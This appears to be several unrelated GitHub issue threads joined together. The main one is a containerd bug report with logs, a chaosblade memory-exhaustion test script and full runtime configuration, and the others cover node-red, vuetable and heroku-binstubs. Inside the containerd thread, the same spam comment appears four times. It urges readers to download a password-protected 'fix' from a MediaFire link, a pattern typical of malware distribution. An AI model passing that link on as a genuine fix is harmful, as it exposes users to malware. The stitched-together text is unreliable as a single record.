time="2024-07-27T16:03:05.583174130+08:00" level=info msg="CreateContainer within sandbox "0ff7d5a1188b10ec603af71abad21bccf7222307f794b6759d3bb51997c0a25c" for container &ContainerMetadata{Name:drivermgmtservice,Attempt:2,}"
time="2024-07-27T16:03:05.627908060+08:00" level=info msg="CreateContainer within sandbox "0ff7d5a1188b10ec603af71abad21bccf7222307f794b6759d3bb51997c0a25c" for &ContainerMetadata{Name:drivermgmtservice,Attempt:2,} returns container id "3429d3d42dc2c028f45a8b5de86cd40cc64a5869eb4276b5bdc441c2b672c967""
time="2024-07-27T16:03:05.628817930+08:00" level=info msg="StartContainer for "3429d3d42dc2c028f45a8b5de86cd40cc64a5869eb4276b5bdc441c2b672c967""
time="2024-07-27T16:03:06.940952990+08:00" level=info msg="StartContainer for "3429d3d42dc2c028f45a8b5de86cd40cc64a5869eb4276b5bdc441c2b672c967" returns successfully"
time="2024-07-27T16:04:24.400710290+08:00" level=info msg="TaskOOM event &TaskOOM{ContainerID:0ff7d5a1188b10ec603af71abad21bccf7222307f794b6759d3bb51997c0a25c,XXX_unrecognized:[],}"
time="2024-07-27T16:04:24.401705290+08:00" level=info msg="TaskOOM event &TaskOOM{ContainerID:1065792f7e8c14b5c041693a36a6a96bc97473eee8b3bc49602ec9ba5ff5b417,XXX_unrecognized:[],}"
time="2024-07-27T16:04:24.411863130+08:00" level=info msg="TaskOOM event &TaskOOM{ContainerID:3429d3d42dc2c028f45a8b5de86cd40cc64a5869eb4276b5bdc441c2b672c967,XXX_unrecognized:[],}"
time="2024-07-27T16:05:12.193864850+08:00" level=info msg="TaskOOM event &TaskOOM{ContainerID:0ff7d5a1188b10ec603af71abad21bccf7222307f794b6759d3bb51997c0a25c,XXX_unrecognized:[],}"
time="2024-07-27T16:05:12.197695950+08:00" level=info msg="TaskOOM event &TaskOOM{ContainerID:1065792f7e8c14b5c041693a36a6a96bc97473eee8b3bc49602ec9ba5ff5b417,XXX_unrecognized:[],}"
time="2024-07-27T16:05:12.200667810+08:00" level=info msg="TaskOOM event &TaskOOM{ContainerID:3429d3d42dc2c028f45a8b5de86cd40cc64a5869eb4276b5bdc441c2b672c967,XXX_unrecognized:[],}"
level=error msg="RemoveContainer for "1065792f7e8c14b5c041693a36a6a96bc97473eee8b3bc49602ec9ba5ff5b417" failed" error="rpc error: code = FailedPrecondition desc = failed to delete containerd container "1065792f7e8c14b5c041693a36a6a96bc97473eee8b3bc49602ec9ba5ff5b417": cannot delete running task 1065792f7e8c14b5c041693a36a6a96bc97473eee8b3bc49602ec9ba5ff5b417: failed precondition"
Steps to reproduce the issue
1.Execute the memory full fault script
echo "begin：date -R" > /opt/memInject.log
node=kubectl get node -A -owide|awk '{print $6}'|grep -v INTERNAL|sort -r
for i in $node
do
ssh $i -C "timeout 3600 /opt/iTestAgent/chaosblade/bin/chaos_burnmem --nohup --mem-percent 100 --reserve 0 --rate 1000 --mode ram --include-buffer-cache=false&"&
done
sleep 3000
while true
do
res=ps -ef|grep chaosblade|grep -v grep
if [[ ! -n $res ]]
then
echo "end ：date -R" >> /opt/memInject.log
break
fi
sleep 1
done

Check if there are any anomalies in the pod Or check if there are any runc init processes that have not exited.
ps -ef|grep "runc init"

Describe the results you received and expected
After the memory full fault is rolled back, all pods resume normal operation.
There are no 'runc init' processes that have not exited for a long time.
What version of containerd are you using?
1.6.16
Any other relevant information
runc 1.1.12
uname -a
Linux master1 5.10.0-<IP_ADDRESS>.h1425.eulerosv2r12.aarch64 #1 SMP Mon Dec 25 16:12:25 UTC 2023 aarch64 aarch64 aarch64 GNU/Linux
[root@master1 ~]# crictl info
{
"status": {
"conditions": [
{
"type": "RuntimeReady",
"status": true,
"reason": "",
"message": ""
},
{
"type": "NetworkReady",
"status": true,
"reason": "",
"message": ""
}
]
},
"cniconfig": {
"PluginDirs": [
"/opt/cni/bin"
],
"PluginConfDir": "/etc/cni/net.d",
"PluginMaxConfNum": 1,
"Prefix": "eth",
"Networks": [
{
"Config": {
"Name": "cni-loopback",
"CNIVersion": "0.3.1",
"Plugins": [
{
"Network": {
"type": "loopback",
"ipam": {},
"dns": {}
},
"Source": "{"type":"loopback"}"
}
],
"Source": "{\n"cniVersion": "0.3.1",\n"name": "cni-loopback",\n"plugins": [{\n  "type": "loopback"\n}]\n}"
},
"IFName": "lo"
},
{
"Config": {
"Name": "network-agent-cni-network",
"CNIVersion": "0.3.1",
"Plugins": [
{
"Network": {
"cniVersion": "0.3.1",
"name": "network-agent-cni-network",
"type": "network-agent",
"capabilities": {
"io.kubernetes.cri.pod-annotations": true
},
"ipam": {},
"dns": {}
},
"Source": "{"caasPath":"/opt/caas","capabilities":{"io.kubernetes.cri.pod-annotations":true},"cniVersion":"0.3.1","delegates":[{"cniversion":"0.3.1","ipams":[{"ipVersion":"ipv4","subnet":"<IP_ADDRESS>/16","type":"calico-ipam"}],"kubeconfig":"/etc/cni/net.d/calico-kubeconfig","name":"default","type":"calico"}],"logFile":"/opt/caas/log/cni/network-agent/network-agent.log","logLevel":"info","logPath":"/opt/caas/log","name":"network-agent-cni-network","type":"network-agent"}"
}
],
"Source": "{"cniVersion":"0.3.1","name":"network-agent-cni-network","plugins":[{"caasPath":"/opt/caas","capabilities":{"io.kubernetes.cri.pod-annotations":true},"cniVersion":"0.3.1","delegates":[{"cniversion":"0.3.1","ipams":[{"ipVersion":"ipv4","subnet":"<IP_ADDRESS>/16","type":"calico-ipam"}],"kubeconfig":"/etc/cni/net.d/calico-kubeconfig","name":"default","type":"calico"}],"logFile":"/opt/caas/log/cni/network-agent/network-agent.log","logLevel":"info","logPath":"/opt/caas/log","name":"network-agent-cni-network","type":"network-agent"}]}"
},
"IFName": "eth0"
}
]
},
"config": {
"containerd": {
"snapshotter": "overlayfs",
"defaultRuntimeName": "runc",
"defaultRuntime": {
"runtimeType": "",
"runtimePath": "",
"runtimeEngine": "",
"PodAnnotations": [],
"ContainerAnnotations": [],
"runtimeRoot": "",
"options": {},
"privileged_without_host_devices": false,
"baseRuntimeSpec": "",
"cniConfDir": "",
"cniMaxConfNum": 0
},
"untrustedWorkloadRuntime": {
"runtimeType": "",
"runtimePath": "",
"runtimeEngine": "",
"PodAnnotations": [],
"ContainerAnnotations": [],
"runtimeRoot": "",
"options": {},
"privileged_without_host_devices": false,
"baseRuntimeSpec": "",
"cniConfDir": "",
"cniMaxConfNum": 0
},
"runtimes": {
"runc": {
"runtimeType": "io.containerd.runc.v2",
"runtimePath": "",
"runtimeEngine": "",
"PodAnnotations": [],
"ContainerAnnotations": [],
"runtimeRoot": "",
"options": {
"BinaryName": "",
"CriuImagePath": "",
"CriuPath": "",
"CriuWorkPath": "",
"IoGid": 0,
"IoUid": 0,
"NoNewKeyring": false,
"NoPivotRoot": false,
"Root": "",
"ShimCgroup": "",
"SystemdCgroup": true
},
"privileged_without_host_devices": false,
"baseRuntimeSpec": "/etc/containerd/cri-base.json",
"cniConfDir": "",
"cniMaxConfNum": 0
}
},
"noPivot": false,
"disableSnapshotAnnotations": true,
"discardUnpackedLayers": false,
"ignoreRdtNotEnabledErrors": false
},
"cni": {
"binDir": "/opt/cni/bin",
"confDir": "/etc/cni/net.d",
"maxConfNum": 1,
"confTemplate": "",
"ipPref": ""
},
"registry": {
"configPath": "/etc/containerd/certs.d",
"mirrors": {},
"configs": {},
"auths": {},
"headers": {
"User-Agent": [
"containerd/v1.6.16"
]
}
},
"imageDecryption": {
"keyModel": "node"
},
"disableTCPService": true,
"streamServerAddress": "<IP_ADDRESS>",
"streamServerPort": "0",
"streamIdleTimeout": "4h0m0s",
"enableSelinux": false,
"selinuxCategoryRange": 1024,
"sandboxImage": "registry.caas.local/default/pause-aarch64:v3.9-25550197",
"statsCollectPeriod": 10,
"systemdCgroup": false,
"enableTLSStreaming": false,
"x509KeyPairStreaming": {
"tlsCertFile": "",
"tlsKeyFile": ""
},
"maxContainerLogSize": 16384,
"disableCgroup": false,
"disableApparmor": false,
"restrictOOMScoreAdj": false,
"maxConcurrentDownloads": 3,
"disableProcMount": false,
"unsetSeccompProfile": "",
"tolerateMissingHugetlbController": true,
"disableHugetlbController": true,
"device_ownership_from_security_context": false,
"ignoreImageDefinedVolumes": false,
"netnsMountsUnderStateDir": false,
"enableUnprivilegedPorts": true,
"enableUnprivilegedICMP": false,
"containerdRootDir": "/var/lib/containerd",
"containerdEndpoint": "/run/containerd/containerd.sock",
"rootDir": "/var/lib/containerd/io.containerd.grpc.v1.cri",
"stateDir": "/run/containerd/io.containerd.grpc.v1.cri"
},
"golang": "go1.22.1",
"lastCNILoadStatus": "OK",
"lastCNILoadStatus.default": "OK"
}
Show configuration if it is related to CRI plugin.
disabled_plugins = []
imports = []
oom_score = 0
plugin_dir = ""
required_plugins = []
root = "/var/lib/containerd"
state = "/run/containerd"
temp = ""
version = 2
[cgroup]
path = ""
[debug]
address = ""
format = ""
gid = 0
level = "info"
uid = 0
[grpc]
address = "/run/containerd/containerd.sock"
gid = 0
max_recv_message_size = 16777216
max_send_message_size = 16777216
tcp_address = ""
tcp_tls_ca = ""
tcp_tls_cert = ""
tcp_tls_key = ""
uid = 0
[metrics]
address = ""
grpc_histogram = false
[plugins]
[plugins."io.containerd.image-verifier.v1.bindir"]
bin_dir = "/opt/caas/containerd/image-verifier/bin"
max_verifiers = 1 # 目前只放一个二进制，与实际保持一致，自动化需要注意处理
per_verifier_timeout = "60s" # 60s是在100节点环境解决registry繁忙情况下可能耗时问题
[plugins."io.containerd.gc.v1.scheduler"]
deletion_threshold = 0
mutation_threshold = 100
pause_threshold = 0.02
schedule_delay = "0s"
startup_delay = "100ms"
[plugins."io.containerd.grpc.v1.cri"]
device_ownership_from_security_context = false
disable_apparmor = false
disable_cgroup = false
disable_hugetlb_controller = true
disable_proc_mount = false
disable_tcp_service = true
enable_selinux = false
enable_tls_streaming = false
enable_unprivileged_icmp = false
enable_unprivileged_ports = true
ignore_image_defined_volumes = false
max_concurrent_downloads = 3
max_container_log_line_size = 16384
netns_mounts_under_state_dir = false
restrict_oom_score_adj = false
sandbox_image = "registry.caas.local/default/pause-aarch64:v3.9-25550197"
selinux_category_range = 1024
stats_collect_period = 10
stream_idle_timeout = "4h0m0s"
stream_server_address = "<IP_ADDRESS>"
stream_server_port = "0"
systemd_cgroup = false
tolerate_missing_hugetlb_controller = true
unset_seccomp_profile = ""
[plugins."io.containerd.grpc.v1.cri".cni]
  bin_dir = "/opt/cni/bin"
  conf_dir = "/etc/cni/net.d"
  conf_template = ""
  ip_pref = ""
  max_conf_num = 1

[plugins."io.containerd.grpc.v1.cri".containerd]
  default_runtime_name = "runc"
  disable_snapshot_annotations = true
  discard_unpacked_layers = false
  ignore_rdt_not_enabled_errors = false
  no_pivot = false
  snapshotter = "overlayfs"

  [plugins."io.containerd.grpc.v1.cri".containerd.default_runtime]
    base_runtime_spec = ""
    cni_conf_dir = ""
    cni_max_conf_num = 0
    container_annotations = []
    pod_annotations = []
    privileged_without_host_devices = false
    runtime_engine = ""
    runtime_path = ""
    runtime_root = ""
    runtime_type = ""

    [plugins."io.containerd.grpc.v1.cri".containerd.default_runtime.options]

  [plugins."io.containerd.grpc.v1.cri".containerd.runtimes]

    [plugins."io.containerd.grpc.v1.cri".containerd.runtimes.runc]
      base_runtime_spec = "/etc/containerd/cri-base.json"
      cni_conf_dir = ""
      cni_max_conf_num = 0
      container_annotations = []
      pod_annotations = []
      privileged_without_host_devices = false
      runtime_engine = ""
      runtime_path = ""
      runtime_root = ""
      runtime_type = "io.containerd.runc.v2"

      [plugins."io.containerd.grpc.v1.cri".containerd.runtimes.runc.options]
        BinaryName = ""
        CriuImagePath = ""
        CriuPath = ""
        CriuWorkPath = ""
        IoGid = 0
        IoUid = 0
        NoNewKeyring = false
        NoPivotRoot = false
        Root = ""
        ShimCgroup = ""
        SystemdCgroup = true

  [plugins."io.containerd.grpc.v1.cri".containerd.untrusted_workload_runtime]
    base_runtime_spec = ""
    cni_conf_dir = ""
    cni_max_conf_num = 0
    container_annotations = []
    pod_annotations = []
    privileged_without_host_devices = false
    runtime_engine = ""
    runtime_path = ""
    runtime_root = ""
    runtime_type = ""

    [plugins."io.containerd.grpc.v1.cri".containerd.untrusted_workload_runtime.options]

[plugins."io.containerd.grpc.v1.cri".image_decryption]
  key_model = "node"

[plugins."io.containerd.grpc.v1.cri".registry]
  config_path = "/etc/containerd/certs.d"

  [plugins."io.containerd.grpc.v1.cri".registry.auths]

  [plugins."io.containerd.grpc.v1.cri".registry.configs]

  [plugins."io.containerd.grpc.v1.cri".registry.headers]

  [plugins."io.containerd.grpc.v1.cri".registry.mirrors]

[plugins."io.containerd.grpc.v1.cri".x509_key_pair_streaming]
  tls_cert_file = ""
  tls_key_file = ""

[plugins."io.containerd.internal.v1.opt"]
path = "/opt/containerd"
[plugins."io.containerd.internal.v1.restart"]
interval = "10s"
[plugins."io.containerd.internal.v1.tracing"]
sampling_ratio = 1.0
service_name = "containerd"
[plugins."io.containerd.metadata.v1.bolt"]
content_sharing_policy = "shared"
[plugins."io.containerd.monitor.v1.cgroups"]
no_prometheus = false
[plugins."io.containerd.runtime.v1.linux"]
no_shim = false
runtime = "runc"
runtime_root = ""
shim = "containerd-shim"
shim_debug = false
[plugins."io.containerd.runtime.v2.task"]
platforms = ["linux/amd64"]
sched_core = false
[plugins."io.containerd.service.v1.diff-service"]
default = ["walking"]
[plugins."io.containerd.service.v1.tasks-service"]
rdt_config_file = ""
[plugins."io.containerd.snapshotter.v1.aufs"]
root_path = ""
[plugins."io.containerd.snapshotter.v1.btrfs"]
root_path = ""
[plugins."io.containerd.snapshotter.v1.devmapper"]
async_remove = false
base_image_size = "10G"
pool_name = ""
root_path = ""

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

@fuweid

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."


Timeout not working with EXEC node not working

Current Behavior
I am using the node-red dashboard to set the timeout on an exec node. I want to this exec node to run for upwards of an hour before failing. I am setting the timeout to 60 seconds to test, and the node will raise an error in "asysnc_.py" on line 10 "self.wait" after 30 seconds, no matter what I change the timeout to.
Expected Behavior
I expect the node to run and only raise an error after 60 seconds has passed.
Steps To Reproduce

Create exec node in node-red dashboard
Change timeout value to 60 seconds
call python script from exec node that will run indefinitely
observe after 30 seconds, an error is raised

mistake on my end, was an RPYC issue


loading fields via ajax

Is there a way to load the fields array required by vue-table through an ajax request?  I am trying to do this however run into problems as the ajax response finishes after vuetable has loaded.
I am currently trying todo this on the created method
    created () {
        let that = this

        axios.get(this.url).then(function (response) {
            that.fields = response.data.columns
            that.$refs.vuetable.reload()
        })
    },`

thanks for your help.

Closing as raised in vuetable 1 instead of 2.  Sorry!


Does this work with the new Heroku CLI?

It seems like the Heroku CLI switched to Node recently and requires plugins to be released as NPM packages. When I try to follow the install instructions, I get an error. Does this plugin support the new CLI?
$ heroku plugins:install https://github.com/tpope/heroku-binstubs.git
Installing plugin https://github.com/tpope/heroku-binstubs.git... !
 ▸    Error installing package.
 ▸    npm ERR! addLocal Could not install /var/folders/wb/_h4fx88x7kg83xgywv5zgpsw0000gn/T/npm-37631-51a6683e/git-cache-587ebeca/65ac793ee95a06f65b677e9be463e92a6b958690
 ▸    npm ERR! Darwin 16.5.0
 ▸    npm ERR! argv "/Users/loganleger/.local/share/heroku/cli/lib/node" "/Users/loganleger/.local/share/heroku/cli/lib/npm/cli.js" "install" "https://github.com/tpope/heroku-binstubs.git" "--scripts-prepend-node-path=true"
 ▸    npm ERR! node v7.8.0
 ▸    npm ERR! npm  v4.2.0
 ▸    npm ERR! code EISDIR
 ▸    npm ERR! errno -21
 ▸    npm ERR! syscall read
 ▸
 ▸    npm ERR! eisdir EISDIR: illegal operation on a directory, read
 ▸    npm ERR! eisdir This is most likely not a problem with npm itself
 ▸    npm ERR! eisdir and is related to npm not being able to find a package.json in
 ▸    npm ERR! eisdir a package you are trying to install.
 ▸
 ▸    npm ERR! Please include the following file with any support request:
 ▸    npm ERR!     /Users/loganleger/.cache/heroku/npm/_logs/2017-04-19T19_44_39_127Z-debug.log
 ▸
 ▸    Try running again with HEROKU_DEBUG=1 to see more output.

Unfortunately, you'll need to install a version of the CLI with legacy Ruby support.Unfortunately, you'll need to install a version of the CLI with legacy Ruby support. If you don't want to mess with that, here's the secret sauce for making your own binstub by hand:
#!/bin/sh
HEROKU_APP=app-name-here exec "${HEROKU_COMMAND:-heroku}" "$@"

Hi tpope,
After logging into Heroku successfully in Windows 7, whenever I issue any command, I get the following error. Can you help me on this please?
I tried for other Heroku commands as well, but I get the same error.
heroku apps
! EISDIR: EISDIR: illegal operation on a directory, read

Thanks!